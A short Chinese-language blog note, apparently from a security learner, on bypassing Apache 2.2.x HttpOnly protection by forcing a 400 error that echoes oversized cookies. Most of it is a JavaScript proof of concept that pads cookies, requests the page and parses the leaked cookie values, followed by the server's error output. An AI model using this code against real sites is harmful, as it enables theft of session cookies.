标签:
对于xss攻击(窃取cookie),一个有效的方式是设置httponly属性,在apache2.2.X 很多版本,当cookie过长时,将返回cookie导致cookie泄露
这个POC试验失败-_-不知道为啥
开始时不知道ajax请求如何携带cookie发送,以为还是setRequestHeader。。,后来知道为了安全取消了这样的发送行为,可以通过设置document.cookie,这样发送的
请求就会携带cookie参数了
<html> <head> <body> <script> function setCookies(good) { var str=""; for (var i=0;i<819;i++) { str+="x"; } for (i=0;i<10;i++) { if(good) { var cookie="xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+";path=/;"; } else { var cookie="xss"+i+"="+str+";path=/"; } document.cookie=cookie; } } function makeRequest() { setCookies(); function parseCookies() { var cookie_dict={}; if (xhr.readyState==4 && xhr.status==400) { var content=xhr.responseText.replace(/\r|\n/g,‘‘).match(/<pre>(.+)<\/pre>/); if (content.length) { content=content[1].replace("Cookie:" ,""); var cookies=content=xhr.responseText.replace(/xss\d=x+;?/g,‘‘).split(/;/g); for(var i=0;i<cookies.length;i++) { var s_c=cookies[i].split(‘=‘,2); cookie_dict[s_c[0]]=s_c[1]; } } setCookies(true); alert(JSON.stringify(cookie_dict)); } } var xhr=new XMLHttpRequest(); xhr.onreadystatechange=parseCookies; xhr.open("GET","httponly.php",true); xhr.send(null); } makeRequest(); </script> </body> </head> </html>
但是如此携带cookie的ajax请求必须是同域发送才行哦!
实际上返回的整个responseText是这样
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> Size of a request header field exceeds server limit.<br /> <pre> Cookie: test=1; test_http=1; xss0=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx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